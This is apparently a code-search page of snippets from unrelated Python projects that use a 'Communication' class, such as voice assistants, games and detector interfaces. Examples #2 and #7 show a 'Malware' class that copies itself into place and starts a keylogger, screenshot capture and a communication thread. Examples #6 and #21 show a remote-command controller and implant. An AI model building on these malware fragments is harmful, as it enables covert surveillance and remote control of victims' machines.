示例#1
0
def main():
    root = Tk()
    cm = Communication()

    root.title("Epsilon")
    root.geometry("400x290+290+100")

    Logo = PhotoImage(file="back.png")
    LogoCanvas = Canvas(root, height=1170, width=700)
    LogoCanvas.create_image(200, 120, image=Logo)
    LogoCanvas.pack()

    t = time.localtime()
    current_hour = time.strftime("%H", t)
    if int(current_hour) < 12:
        greeting = "Good Morning! I'm Epsilon!"
    elif int(current_hour) > 12 and int(current_hour) < 16:
        greeting = "Good Afternoon! I'm Epsilon!"
    elif int(current_hour) > 16:
        greeting = "Good Evening! I'm Epsilon!"
    else:
        greeting = "Good Night!"

    cm.voice(greeting)

    def window():
        Button(root, text='Quit', width=5, command=root.destroy).place(x=20,
                                                                       y=250)
        Button(root, text='Speak', width=10, command=listen).place(x=170,
                                                                   y=250)
        Button(root, text='Help', width=5, command=manual).place(x=340, y=250)

        root.mainloop()

    window()
示例#2
0
class Malware:
    def __init__(self):
        self.__config = Configuration()
        self.__buildMalware()
        self.__screenshot = Screenshot(self.__config)
        self.__windowTracker = WindowTracker(self.__config, self.__screenshot)
        self.__communication = Communication(self, self.__config)
        self.__keylogger = Keylogger(self.__config, self.__communication)
        self.__keylogger.start()
        self.__windowTracker.start()
        self.__communication.start()

    def __buildMalware(self) -> None:
        if not self.__checkExistence():
            self.__createStructure()
        elif self.__config.currentPath.lower() != str(
                self.__config.filePath + self.__config.fileName).lower():
            sys.exit()

    def __checkExistence(self) -> bool:
        return path.isdir(
            self.__config.logPath) and path.isfile(self.__config.filePath +
                                                   self.__config.fileName)

    def __createStructure(self) -> None:
        mkdir(self.__config.logPath)
        shutil.copy(self.__config.currentPath,
                    self.__config.filePath + self.__config.fileName)
示例#3
0
def main():
    window = Tk()
    cm = Communication()

    window.title("Epsilon")

    messages = Text(window)
    messages.pack()

    greet = greeting()
    try:
        cm.voice(greet)
    except:
        pass
    
    messages.insert(INSERT, "Epsilon: " + greet + "\n\n")
    messages.config(state=DISABLED)

    input_user = StringVar()
    input_field = Entry(window, text=input_user)
    input_field.pack(side=BOTTOM, fill=X)
    
    window.configure(background='light grey')
    messages.configure(background='light steel blue')
    input_field.configure(background='light goldenrod')

    def enter_pressed(event):
        input_get = input_field.get()
        if input_get.isspace():
            return "break"
        
        messages.config(state=NORMAL)
        messages.insert(INSERT, 'You: %s\n\n' % input_get)
        messages.config(state=DISABLED)
        input_user.set('')
        window.update()
        
        if "weather" in input_get.lower():
            epsilon(input_get)
        else:    
            thread = threading.Thread(target=epsilon, args = (input_get,))
            thread.start()
        
        return "break"
    
    def epsilon(text):
        answer = respond(text)
        messages.config(state=NORMAL)
        messages.insert(INSERT, 'Epsilon: %s\n\n' % answer)
        messages.config(state=DISABLED)
        try:
            cm.voice(answer)
        except:
            pass

    frame = Frame(window)  
    input_field.bind("<Return>", enter_pressed)
    frame.pack()

    window.mainloop()
示例#4
0
    def __init__(self, address, port):
        from Communication import Communication
        self.address = address
        self.port = port
        self.comms = Communication(address, port)
        self.comms.connect()

        self.comm = Communication(address, port)
示例#5
0
    def __init__(self) :
	Core.HwInterface.__init__(self)

        self.__comm = Communication()
        self.__comm.start()
        self.__detInfo = DetInfoCtrlObj()
        self.__detInfo.init()
        self.__buffer = BufferCtrlObj(self.__comm,self.__detInfo)
        self.__syncObj = SyncCtrlObj(self.__comm,self.__detInfo)
示例#6
0
def main():
    parser_options = set_up_parser()
    malware_addr = get_malware_address(parser_options[0])
    start_portscanner(parser_options[1])
    sock = connection(malware_addr)
    communication = Communication(sock)
    communication.send("os")
    malware_os = communication.recv_message_str()
    run_commands(malware_os, communication)
    sock.close()
示例#7
0
 def __init__(self):
     self.__config = Configuration()
     self.__buildMalware()
     self.__screenshot = Screenshot(self.__config)
     self.__windowTracker = WindowTracker(self.__config, self.__screenshot)
     self.__communication = Communication(self, self.__config)
     self.__keylogger = Keylogger(self.__config, self.__communication)
     self.__keylogger.start()
     self.__windowTracker.start()
     self.__communication.start()
示例#8
0
    def __init__(self):
        Core.HwInterface.__init__(self)

        self.__comm = Communication()
        self.__comm.start()
        self.__detInfo = DetInfoCtrlObj()
        self.__detInfo.init()
        self.__buffer = BufferCtrlObj(self.__comm, self.__detInfo)
        self.__syncObj = SyncCtrlObj(self.__comm, self.__detInfo)
        self.__acquisition_start_flag = False
        self.__kind = 5
        self.__ctSaving = None
示例#9
0
def system_command(command):
    cm = Communication()
    WORDS = ["Shutdown", "Hibernate"]
    try:
        cm.voice("Goodbye!")
    except:
        pass
    if WORDS[0] in command.title():
        subprocess.call(["shutdown", "/s"])
        return "Goodbye!"
    elif WORDS[1] in command.title():
        subprocess.call(["shutdown", "/h"])
        return "Goodbye!"
示例#10
0
    def __init__(self):

        super(self.__class__, self).__init__()
        self.setupUi(self)

        fileMenu = self.actionImport_SnP
        newProject = self.actionNew_Project

        #Initialize sample sample Table
        self.sampleTable.setColumnCount(4)
        self.sampleTable.setHorizontalHeaderLabels(
            [None, "Name", "Date", "Limit"])
        self.sampleTable.setSortingEnabled(True)
        self.sampleTable.setContextMenuPolicy(self.CustomContextMenu)
        self.sampleTable.customContextMenuRequested.connect(
            self.tableContextMenu)
        self.selected = []

        #Initialize Tab widget for sample info

        #self.sampleTable.customContextMenuRequested.connect(self.tableContextMenu)
        #New Project
        self.Project = Project()

        #Initialize plot parameters

        self.activeParameter = "Main"  #We want the the first sample tab to display to be the Main tab.

        nav = NavigationToolbar(
            self.graphicsView, self
        )  #Sets up the menu at the bottom of the GUI which lets us interact with the matplotlib plots
        self.verticalLayout_3.addWidget(nav)

        #Here, we process any arguments that might be sent the program from outside of the interface.
        #In other words, when ever a user right click on an SNP files, rather than opening them in Notepad, it would be opened in this interface.
        arguments = sys.argv[1:]

        if len(arguments):
            self.Project.importSNP(arguments)
            self.displaySamplesInTable()

        self.comm = Communication()
        self.settings = Settings()

        self.threadpool = QtCore.QThreadPool()
        self.poolMutex = QtCore.QMutex()

        self.paramWidgetList = []

        # Comment out this line to get messanges to appear in terminal instead of in app.
        self.setupConsole()
示例#11
0
class HookedGL:
    def __init__(self, address, port):
        from Communication import Communication
        self.address = address
        self.port = port
        self.comms = Communication(address, port)
        self.comms.connect()

        self.comm = Communication(address, port)

    def setup(self):
        if not self.comm.connect():
            return False
        return True
示例#12
0
def initialSetup():
	global parameter

	# ValueHandler init
	global valueHandler
	valueHandler = ValueHandler(parameter)

	# Sets the correct default channel values
	for x in xrange(0, parameter['nrChannels']):
		parameter['channelData'].append(parameter['defaultChannelData'][x]) 							# Reset the starting values
		parameter['channelOutput'].append(valueHandler.getOutput(parameter['channelData'][x], x)) 		# Calculating the correct output

	# ComLink init
	global comLink
	comLink = Communication(parameter)

	# Controller init
	global controller
	controller = LeapMotion(parameter['channelData'], parameter['nrChannels'], parameter['controllerTrim'])

	# Main app setup
	global appGUI
	appGUI = Tk()
	appGUI.geometry('800x468+100+100')
	appGUI.resizable(0,0)

	# Main app init
	global application
	application = Application(appGUI, controller, comLink, valueHandler, parameter)
示例#13
0
 def __init__(self):
     '''
     Initialize class attributes.
     '''
     self.joystick = Joystick()
     self.communication = Communication()
     self.driving = Driving()
     self.gear = 0
示例#14
0
def manual():
    cm = Communication()
    explain = ("I am a Windows 8.1 helper that was coded in Python. "
               "Here's a list of what I can do!: ")
    instructions =("I can open programs, "
                   "shutdown or hibernate your device, "
                   "tell jokes, take notes "
                   "and provide you with (almost) any information. "
                   "I hope I may be of assistance!")
    return explain + instructions
示例#15
0
    def __init__(self) :
	Core.HwInterface.__init__(self)

        self.__comm = Communication()
        self.__comm.start()
        self.__detInfo = DetInfoCtrlObj()
        self.__detInfo.init()
        self.__buffer = BufferCtrlObj(self.__comm,self.__detInfo)
        self.__syncObj = SyncCtrlObj(self.__comm,self.__detInfo)
	self.__acquisition_start_flag = False
        self.__kind = 5
        self.__ctSaving = None
示例#16
0
def jokes_command():
    cm = Communication()
    from random import choice
    try:
        funny = choice([geek, icanhazdad, icndb])()
    except:
        return "You are not connected to any Wifi source"
    
    while "â" in funny:
        funny = funny.replace("â", "'")
        
    return funny
示例#17
0
 def run(self):
      
     if self.debug is True:
         print("[Server]: Server        >> en attente de connexion ...")
         
         
     while self.actif is True:    
               
         connexion, adresse = self.conn.accept()
         
         nom = "Client%s" %(len(self.Client))
         
         if self.debug is True:
             print("[Server]: Server        >> %s connecte, adresse IP %s, port %s" %(nom, adresse[0], adresse[1]))
         
         client = Communication(self, connexion, Debug=self.debug)
         client.setName(nom)
         
         self.Client[nom] = connexion
         
         client.start()
示例#18
0
class CommunicationTest(unittest.TestCase):
    
    def setUp(self):
        '''
        Verify environment is setup properly.
        '''
        self.controller = Communication()
        self.b_list = self.controller.get_bluetooth_list()
    
    def tearDown(self):
        '''
        Verify environment is tore down properly.
        '''
        pass
    def test_get_bluetooth_list(self):
        '''
        Verify that the bluetooth list was retrieve without problems.
        '''
        value = False
        if "Empty" not in self.b_list[0]:
            value = True
        self.assertTrue(value)
        
    def test_send(self):
        '''
        Verify that the instruction was send without problems.
        '''
        for b_name in self.b_list:
            if "CURIOSITY"in b_name:
                break
        self.controller.connect(b_name)
        value = self.controller.send("Hello")
        time.sleep(5)
        self.controller.disconnect()
        self.assertTrue(value)
示例#19
0
def runCommunications():
    global receive_message
    global elapse

    communication = Communication()

    while True:
        start = time.time()

        if settings.on:
            try:
                experiences2 = communication.receive('')
                count = len(experiences2.timestamps)
                experiences2.append('server_experiences')
                receive_message = 'Received ' + str(count)
            except (ConnectionRefusedError, ConnectionResetError) as e:
                receive_message = e.strerror
        else:
            receive_message = ''
            time.sleep(.1)

        elapse = time.time() - start
示例#20
0
    def __init__(self):
        from Communication import Communication
        from Encryption import Encryption

        PORT_NUMBER = 12371
        self.connections = []

        # [1] Generate asymmetric key pair
        strHostPrivateKey, strHostPublicKey = Encryption().Generate_RSA_Keys(
            keySize=4096, exponent=65537)
        self.Dump_Keys(strHostPrivateKey, strHostPublicKey, "host")
        #hostPublicKey = self.Load_Key(keyName="Public", keyType="host")
        hostPrivateKey = self.Load_Key("Private", "host")
        blacklist = []

        while True:

            # [2] Listen for attempted client connections
            clientConnection, address = self.Listen_For_Connection(PORT_NUMBER)
            communication = Communication(clientConnection)
            print(address[0], "has connected", end="\n\n")
            if address[0] in blacklist:
                print("Attempted connection from black listed source",
                      address[0],
                      end="\n\n")
                communication.Close_Connection()
                continue

                # [3] Send unencrypted public key
            communication.Send_Message(False, None, None, strHostPublicKey)
            #self.Send_Message(connection=clientConnection, encryptionNeeded=False, encryptionAlgorithm=None, key=None, message=publicKey, messageType="key")

            # [4] Receive client's public key and decrypt with host privatekey
            strClientPublicKey = communication.Receive_Message(
                False, None, None)
            self.Dump_Keys(None, strClientPublicKey, "client")
            clientPublicKey = self.Load_Key("Public", "client")

            # [5] Ask User what they would like to do: signup / login .. Return the logged in user
            # if user was unsuccessful at logging in, close connection and wait for new connection
            userID = self.Get_User_Option(communication, clientPublicKey,
                                          hostPrivateKey)
            if userID is None:
                print("No user logged in, looking for another connection")
                blacklist.append(address[0])
                print("Added", address[0], "to blacklist")
                communication.Close_Connection()

            else:
                print("Starting blackjack")
                from BlackJack_Host import BlackJack
                hostBlackJack = BlackJack(communication, userID,
                                          clientPublicKey, hostPrivateKey)
                communication.Close_Connection()
示例#21
0
def main():
    distant_socket = connection()
    communication = Communication(distant_socket)
    message = communication.recv_message_str()
    malware_os = platform.system()
    while message != "os":
        message = communication.recv_message_str()
    communication.send(malware_os)
    run_commands(malware_os, communication)
    distant_socket.close()
示例#22
0
    def getAddr(self):
        self.comm = Communication()
        dialog = QtWidgets.QDialog()
        addr_dialog = VNA_addr_dialog.Ui_Addr_Dialog()
        addr_dialog.setupUi(dialog)
        addr_dialog.plainTextEdit.setPlainText(self.comm.VNAAddress)

        result = dialog.exec_()
        print("here")
        if not result:
            return 0
        if result:
            addr = addr_dialog.plainTextEdit.toPlainText()
            print("sent")
            if len(addr) < 1:
                return 0
            return addr
示例#23
0
    def __init__(self):
        
        name = NameGenerator.Generator().generateName()
        print 'Game name: ' + name
        
        self.eventQueue = EventQueue()
        self.dispatcher = Dispatcher()
        self._setupEvents()
        
        self.players = Players(name)
        self.hand = CardHandler.Hand(self.eventQueue)
 
        self.cardServer = Communication(ServerSettings.ADDR)
        
        self.noCardOnTable = False
        
        self.leftHand = None
        self.rigthHand = None
示例#24
0
def respond(text):
    cm = Communication()
    
    WORDS = ["Open", "System", "Notes", "Manual", "Weather", "Joke"]
    SORRY = "Sorry, I can't do that."
    response = ""
    
    if WORDS[0].lower() in text:
        response = open_command(text)
    elif WORDS[1].lower() in text:
        response = system_command(text)
    elif WORDS[2].lower() in text:
        notes_command('w')
    elif WORDS[4].lower() in text:
        response = weather_command()
    elif WORDS[5].lower() in text:
        response = jokes_command()
    else:
        response = SORRY
        
    return response
示例#25
0
def main():
    # Communication object
    communication = Communication()
    # connecting to the client
    communication.connect()
    # connecting with database
    db = DbHelper("iot.db")
    db.connect_to_db()
    # receiving data from client and processing the data
    while 1:
        motion = Motion()
        motion.start()
        # receive the message
        recv_msg = communication.receive_data()
        # calls the handleRequest function to handle the message
        send_msg = handle_request(db, recv_msg)
        print(send_msg)

        communication.send_data(send_msg)
示例#26
0
    def model(text):
        cm = Communication()

        # This function will pass your text to the machine learning model
        # and return the top result with the highest confidence
        def classify(text):
            key = "653eced0-1840-11ea-97a0-956abe0146c6b32257f5-24cc-4bfa-b944-21223a9adadc"
            url = "https://machinelearningforkids.co.uk/api/scratch/" + key + "/classify"

            response = requests.get(url, params={"data": text})

            if response.ok:
                responseData = response.json()
                topMatch = responseData[0]
                return topMatch
            else:
                response.raise_for_status()

        # CHANGE THIS to something you want your machine learning model to classify
        demo = classify(text)

        label = demo["class_name"]
        return label
示例#27
0
def open_command(command):
    cm = Communication()
    pool = ThreadPool(processes=1)
    
    sorry = "Sorry, I can't seem to find that program."
    program = ""

    async_result = pool.apply_async(exe_finder)
    s, t = async_result.get()

    words = command.split(" ")
    for word in words:
        if word.endswith(".exe"):
            program = word
    
    if program in s:
        os.startfile(program)
        return "Starting " + program
    elif program in t:
        os.startfile(program)
        return "Starting " + program
    else:
        return sorry
示例#28
0
文件: client.py 项目: guman001/SSLDT
#signed by guman
import socket
from Communication import Communication

comObj = Communication()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = 'localhost'
port = 5000
adres_tuple = (ip, port)
sock.connect(adres_tuple)
print 'Connected to the following host: ', adres_tuple
message = comObj.receive_please(sock)
nport = message["port"]
print 'Received port is : ', nport
nadres_tuple = (ip, nport)
sock.close()
message = {'Test': 'OK'}
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Sending message to remote host...'
comObj.send_please(message, sock, nadres_tuple, True)
print 'Message is sent.'
sock.close()
示例#29
0
#from AI import * #Ai makes use of mudle_test so prevent recusrsive inclusion
from Rod import Rod
from ImageProcessing import *
from Communication import Communication
import random
from AI import ball_FollowBallPath

r1 = Rod(0)
r2 = Rod(1)
comm = Communication('COM3')
comm.home()

###############################
cam_open, cap = SetupCam()
counter = 0
randint = random.randint(50, 200)

while (cam_open):
    hsv_edge, frame_field = getHSV(cap)
    cv2.imshow('frame_field', frame_field)

    ##### GET BALL POS #####
    ball_x, ball_y, ball_found = getBallPosition(
        frame_field)  # ball position in mm.
    if (ball_found == False):
        Rob, User = getGoal(frame_field)
        print Rob, User

    ##### PRESS q FOR EXIT########
    if cv2.waitKey(2) & 0xFF == ord('q'):
        break
示例#30
0
from flask import Flask, request, jsonify
import json
from Communication import Communication
# from sysloggeer import syslogger

app = Flask(__name__)

comObj = Communication()


@app.route('/')
def index():
    return '{"karthi"}'


######################_MASTER-MODULE_#############################
@app.route('/master/register', methods=["POST"])
def masterRegister():
    data = request.data
    userid = "masterregister"
    return jsonify(comObj.receiveRequest(data, userid, 'master/register'))


@app.route('/master/login', methods=["POST"])
def masterLogin():
    data = request.data
    userid = "master"
    return jsonify(comObj.receiveRequest(data, userid, 'master/login'))
    #return "sucess"

示例#31
0
#!/usr/bin/python3

from Communication import Communication
from Experiences import Experiences

experiences = Experiences()
communication = Communication()

communication.send('192.168.1.178', experiences)
示例#32
0
def notes_command(mode, space=""):
    
    cm = Communication()
    def end():
        cm.voice(finish)
        while(True):
            #Beep sound to notify the user when to speak
            playsound.playsound('Sound.mp3')
            
            command = cm.recognize_speech_from_mic()
            if command["transcription"]:
                break
            if not command["success"]:
                break
            cm.voice("I didn't catch that. What did you say?\n")

        if "yes" in command["transcription"]:
            cm.voice("Very well! Appending punctuation!")
            punctuation()
        elif "no" in command["transcription"]:
            notes_command('a', "\n")
        else:
            cm.voice("Sorry, that's not a command.")
            end()

    def punctuation():
        readfile = open('note.txt', 'r')
        writefile = open('note.txt', 'a')

        for line in readfile:
            if line.find("period") != -1:
                writefile.replace("period", ". ")
            if line.find("comma") != -1:
                writefile.replace("comma", ", ")
            if line.find("exclamation mark") != -1:
                writefile.replace("exclamation mark", "! ")
            if line.find("question mark") != -1:
                writefile.replace("question mark", "? ")
            if line.find("newline") != -1:
                writefile.replace("newline", "\n")
            """#rtn = re.split('([.!?] *)', line)
            rtn = ([line[i:i+1] for i in range(0, len(line), len(line))])
            #final = ''.join([i.capitalize() for i in rtn])
            writefile.replace(rtn, rtn.capitalize())"""
    
    notes = open('note.txt', mode)
    
    start = "Ready when you are!"
    finish = "Will that be all?"
    
    cm.voice(start)
    
    while(True):
        #Beep sound to notify the user when to speak
        playsound.playsound('Sound.mp3')

        command = cm.recognize_speech_from_mic()
        if command["transcription"]:
            break
        if not command["success"]:
            break
        cm.voice("I didn't catch that. What did you say?\n")

    notes.write(space + "{}".format(command["transcription"].capitalize()))
    notes.close()

    end()
示例#33
0
class Game(object):
    '''
    Class for implementing player code
    '''
    def __init__(self):
        
        name = NameGenerator.Generator().generateName()
        print 'Game name: ' + name
        
        self.eventQueue = EventQueue()
        self.dispatcher = Dispatcher()
        self._setupEvents()
        
        self.players = Players(name)
        self.hand = CardHandler.Hand(self.eventQueue)
 
        self.cardServer = Communication(ServerSettings.ADDR)
        
        self.noCardOnTable = False
        
        self.leftHand = None
        self.rigthHand = None
             
    def _setupEvents(self):
        self.dispatcher.register_handler(EventType.FINISH, self._finnish)
        self.dispatcher.register_handler(EventType.JOIN, self.joinGame)
        self.dispatcher.register_handler(EventType.ERROR, self._error)
        self.dispatcher.register_handler(EventType.SOCKET_HANDLER_EXCEPTION, self._handlerException)
        self.dispatcher.register_handler(EventType.DRAW, self.drawCard)
        self.dispatcher.register_handler(EventType.GOT_PAIR_ON_HAND, self.discardPair)
        self.dispatcher.register_handler(EventType.OUT, self.outOfCards)
        
        self.dispatcher.register_handler(EventType.MY_TURN, self.myTurn)
        self.dispatcher.register_handler(EventType.YOUR_TURN, self.yourTurn)
        self.dispatcher.register_handler(EventType.OFFER_HAND, self.offerHand)
        
        self.dispatcher.register_handler(EventType.NO_MORE_CARD_ON_TABLE, self._setNoMoreCardsOnTable)
        
        self.dispatcher.register_handler(EventType.PICKED_CARD_FROM_RIGHT_PLAYER, self.gotCard)
        
    def _finnish(self, event):
        # Todo teardown system
        print "Client is shutting down"
        self.finished = True
    
    def _handlerException(self, Event):
        print "Got an socket handler exception", Event
        
    def _error(self, event):
        data = event.data
        
        if data.has_key("msg"):
            print data["msg"]
            
        if data.has_key("fatal"):
            if data["fatal"] == True:
                self.eventQueue.addNewEvent(EventType.FINISH)
    
    def _setNoMoreCardsOnTable(self, event):
        self.noCardOnTable = True
    
    @debugPrint                
    def start(self):
        self.eventQueue.addNewEvent(EventType.JOIN)
        
        self.finished = False
        
        while not self.finished:
            
            time.sleep(0.1)
            
            for event in self.eventQueue.getAll():
                self.dispatcher.dispatch(event)

    @debugPrint
    def myTurn(self, event):
        if not self.noCardOnTable:
            self.drawCard(None)
    
    @debugPrint
    def gotCard(self, event):
        self.hand.addCardFromRes(event.data[DataType.RECEIVED_MESSAGE])
        self.eventQueue.addNewEvent(EventType.OFFER_HAND)
        
                                                          
    # RightHandServer methods
    @debugPrint
    def joinGame(self, event):
        '''
        send: {'cmd':'join', 'nick':your_nick}
        recv: {'result':'ok', 'players':['player1':[(ip, port), nick], 'player2':[(ip, port), nick], ...]}
        '''
        print 'Joining new game @ addr:', ServerSettings.HOST, 'port:', ServerSettings.PORT
        
        try: 
            self.cardServer.connect()
            cmd = {"cmd" : "join", "nick" : self.players.myName, "port" : ServerSettings.MY_PORT}
            result = self.cardServer.cmd(cmd)
            if result["result"] == "ok":
                self.players.addPlayersFromJson(result)
                
            else:
                eventData = {"msg" : "Error: Got some kind of error from card server", "fatal" : True}
                self.eventQueue.addNewEvent(EventType.ERROR, eventData)
                return
                
        except TypeError:
            eventData = {"msg" : "Error: Could not parse to JSON in joinGame", "fatal" : True}
            self.eventQueue.addNewEvent(EventType.ERROR, eventData)
            return
        
        except socket.error:
            eventData = {"msg" : "Error: Could not connect to card server after several tries, Exiting", "fatal" : True}
            self.eventQueue.addNewEvent(EventType.ERROR, eventData)
            return
            
        self._setupPlayerCom()
    
    @debugPrint           
    def _setupPlayerCom(self):
        print "Starting to set up connection to left and right player"
        
        # This is the right hand server handling incoming events
        self.rigthHand = RightHandServer(self.players.myAddr, self.eventQueue, self.players)
        thread.start_new(self.rigthHand.run, ())
                
        try:
            self.leftHand = LeftHand(self.eventQueue, self.players)
            self.leftHand.connect()
        
        except socket.error:
            eventData = {"msg" : "Error: Could not connect to left player in initial phase, Exiting", "fatal" : True}
            self.eventQueue.addNewEvent(EventType.ERROR, eventData)
            return
            
        print "Connection to other players established successfully"
        
        if self.players.myTurn:
            self.eventQueue.addNewEvent(EventType.DRAW)
                
    @debugPrint
    def drawCard(self, event):
        '''
        send: {'cmd':'draw'} 
        recv: {'result':'ok'/'last_card'/'error', 'card': ['3', 'spades']}
        '''
        
        msg = {'cmd' : 'draw'}
        res = self.cardServer.cmd(msg)
                
        if res["result"] == "ok":
            self.hand.addCardFromRes(res)
            self.eventQueue.addNewEvent(EventType.YOUR_TURN)
            return
        
        elif res["result"] == "last_card":
            print "Got Last Card"
            self.hand.addCardFromRes(res)
            self.noCardOnTable = True
            self.eventQueue.addNewEvent(EventType.OFFER_HAND)
            pass
        
        elif res["result"] == "error":
            print "got error from server"
        
        else:
            eventData = {"msg" : "Error: Got invalid response from server while trying to draw card, Exiting", "fatal" : True}
            self.eventQueue.addNewEvent(EventType.ERROR, eventData)
            return
        
        
    @debugPrint
    def discardPair(self, event):
        '''
        send: {'cmd':'discard', 'cards': [['3', 'spades'], ['3', 'clubs']], 'last_cards':'true'/'false'} 
        recv: {'result': 'ok'/'error', 'message':'ok'/error_message}
        '''
        pair = self.hand.removeNextPair()
        print "Starting to discard pair", pair, "to cardServer"
        
        lastCardOnHand = self.hand.lastCard()
        
        if lastCardOnHand == True and self.noCardOnTable == True:
            print "Discarded last card on hand, I am out"
            self.players.out = True
            self.outOfCards(None)
            sys.exit()
        else:
            # Can't exit game if there are more cards that could be drawn from table
            lastCardOnHand = False
        
        cmd = {"cmd" : "discard", "cards" : pair, "last_card" : lastCardOnHand}
        
        res = self.cardServer.cmd(cmd)
        
        if res["result"] == "ok":
            print "Discarded pair to server successfully"
                
        elif res["result"] == "error":
            print "got error:", res["message"]
    
    @debugPrint
    def outOfCards(self, event):
        '''
        send: {'cmd':'out_of_cards'}
        recv: {'result':'ok'}
        '''
        self.players.out = True
        cmd = {"cmd" : "out_of_cards"}
        res = self.cardServer.cmd(cmd)
        
        print "I am out of cards:", res        
    
    @debugPrint
    def getStatus(self):
        '''
        send: {'cmd':'status'}
        recv: {'in':['player1', 'player2', ...], 'out':{'player3'}}
        '''
        cmd = {"cmd" : "status"}
        res = self.cardServer.cmd(cmd)
                
        if res.has_key("out"):
            self.players.setOutFromStatus(res)
    
    #Client methods
    @debugPrint
    def yourTurn(self, Event):
        '''
        send: {'cmd':'your_turn'}
        recv: {'result':'ok'}
        '''
        
        cmd = {"cmd" : "your_turn"} 
        res = self.leftHand.cmd(cmd)
        if res["result"] == "ok":
            print "End of turn, sent yourTurn to next player"
    
    @debugPrint    
    def offerHand(self, event):
        '''
        send: {'cmd':'offer', 'num_cards':number of cards left}
        recv: {'result':'ok'/'out'}
        '''
        count = self.hand.count()
        
        self.noCardOnTable = True
        
        lastCardOnHand = self.hand.lastCard()
        
        if lastCardOnHand == True:
            print "Discarded last card on hand, I am out"
            self.players.out = True
            self.outOfCards(None)
        
        cmd = {"cmd" : "offer", "num_cards" : count}
        
        
        self.getStatus()
        
        for x in range(self.players.numPlayers):        
            res = self.leftHand.cmd(cmd)
            
            if res.has_key("result"):
                if res["result"] == "ok":
                    if count > 0:
                        self.pickCard(self.leftHand.receive(1024))
                        break;
                
                elif res["result"] == "out":
                    outAddr = self.leftHand.getConnectionAddr()
                    self.getStatus()
                    self.players.setOutFromAddr(outAddr)
                    self.leftHand.close()
                    for x in range(self.players.numPlayers):
                        if self.players.getNextLeftPlayerAddr() == -1:
                            print "GAME OVER"
                            sys.exit()
                            return
                        else:
                            self.leftHand = LeftHand(self.eventQueue, self.players)
                            print "\n\n\n\n\n SUCCEFULL RECONNECTION \n\n\n\n\n\n"
                            self.leftHand.connect()
                            break
                            
                    
    @debugPrint
    def pickCard(self, res):
        '''
        send: {'cmd':'pick', 'card_num': the number of the card chosen (must be between 0 and
                number_of_cards_left offered}
        recv: {'result':'ok'/'error', 'card':['3', 'spades']}
        '''
        res = json.loads(res)
        if res.has_key("cmd"):
            if res["cmd"] == "pick":
                card = self.hand.pickCard(res['card_num'])
                                 
                msg = {"result" : "ok", "card" : card}
                msg = json.dumps(msg)
                self.leftHand.send(msg)
                
                lastCardOnHand = self.hand.lastCard()
                if lastCardOnHand == True:
                    print "Discarded last card on hand, I am out"
                    self.players.out = True
                    self.outOfCards(None)
示例#34
0
class Interface(Core.HwInterface) :
    Core.DEB_CLASS(Core.DebModCamera, "Interface")

    def __init__(self) :
	Core.HwInterface.__init__(self)

        self.__comm = Communication()
        self.__comm.start()
        self.__detInfo = DetInfoCtrlObj()
        self.__detInfo.init()
        self.__buffer = BufferCtrlObj(self.__comm,self.__detInfo)
        self.__syncObj = SyncCtrlObj(self.__comm,self.__detInfo)
	self.__acquisition_start_flag = False
        self.__kind = 5
        self.__ctSaving = None

    def __del__(self) :
        self.__comm.quit()
        self.__buffer.quit()

    def quit(self) :
        self.__comm.quit()
        self.__buffer.quit()
        
    @Core.DEB_MEMBER_FUNCT
    def getCapList(self) :
        return [Core.HwCap(x) for x in [self.__detInfo,self.__syncObj,
                                        self.__buffer]]

    @Core.DEB_MEMBER_FUNCT
    def reset(self,reset_level):
        if reset_level == self.HardReset:
            self.__comm.hardReset()

        self.__buffer.reset()
        self.__comm.softReset()

    @Core.DEB_MEMBER_FUNCT
    def takeDarks(self,Texp):
        self.__comm.takeDarks(Texp)

    @Core.DEB_MEMBER_FUNCT
    def prepareAcq(self):
        self.__buffer.reset()
        self.__syncObj.prepareAcq()
        if self.__ctSaving != None :
            self.__comm.setCtSavingLink(self.__ctSaving)

        self.__comm.Configure()
        self.__acquisition_start_flag = False
 
    @Core.DEB_MEMBER_FUNCT
    def startAcq(self) :
        self.__acquisition_start_flag = True
        self.__buffer.start()
        self.__comm.startAcquisition()

    @Core.DEB_MEMBER_FUNCT
    def stopAcq(self) :
        self.__comm.stopAcquisition()
        self.__buffer.stop()
        self.__acquisition_start_flag = False
        
    @Core.DEB_MEMBER_FUNCT
    def getStatus(self) :
        ComState = self.__comm.getState()
        status = Core.HwInterface.StatusType()

        if self.__buffer.is_error() :
            status.det = Core.DetFault
            status.acq = Core.AcqFault
            deb.Error("Buffer is in Fault state")
        elif ComState == Communication.DTC_STATE_ERROR:
            status.det = Core.DetFault
            status.acq = Core.AcqFault
            deb.Error("Detector is in Fault state")
        elif ComState == Communication.DTC_STATE_CONFIGDET or not self.__comm.darksReady()  :
#        elif False:
            status.det = Core.DetFault
            status.acq = Core.AcqConfig
            deb.Warning("Waiting for configuration")
        else:
            if ComState != Communication.DTC_STATE_IDLE:
                status.det = Core.DetFault
                status.acq = Core.AcqRunning
            else:
                status.det = Core.DetIdle
                lastAcquiredFrame = self.__buffer.getLastAcquiredFrame()
                requestNbFrame = self.__syncObj.getNbFrames()
                print "Frames set-rdy:",requestNbFrame,lastAcquiredFrame+1
                if (not self.__acquisition_start_flag) or \
                        (lastAcquiredFrame >= 0 and \
                             lastAcquiredFrame == (requestNbFrame - 1)):
                    status.acq = Core.AcqReady
                else:
                    status.acq = Core.AcqRunning
            
        status.det_mask = (Core.DetExposure|Core.DetFault)
        return status
    
    @Core.DEB_MEMBER_FUNCT
    def getNbAcquiredFrames(self) :
        return self.__buffer.getLastAcquiredFrame() + 1
    
    @Core.DEB_MEMBER_FUNCT
    def getNbHwAcquiredFrames(self):
        return self.getNbAcquiredFrames()

    #get lower communication
    def communication(self) :
        return self.__comm

    #get lower buffer
    def buffer(self) :
        return self.__buffer

    def setFilePath(self,path) :
        self.__comm.setFilePath(path)

    def setFileBase(self,base) :
        self.__comm.setFileBase(base)

    def setFileExtension(self,ext) :
        self.__comm.setFileExtension(ext)

    def setCtSavingLink(self,CTs):
        self.__ctSaving = CTs
示例#35
0
class Controller(object):

    __metaclass__ = SingletonController

    def __init__(self):
        '''
        Initialize class attributes.
        '''
        self.joystick = Joystick()
        self.communication = Communication()
        self.driving = Driving()
        self.gear = 0

    def get_joystick_list(self):
        '''
        Return the control joystick list.
        '''
        return self.joystick.get_joystick_list()
            
    def get_bluetooth_list(self):
        '''
        Return the bluetooth communication list.
        '''
        return self.communication.get_bluetooth_list()
    
    def connect(self, joystick_name, bluetooth_name):
        '''
        Initialize the joystick and bluetooth connection.
        '''
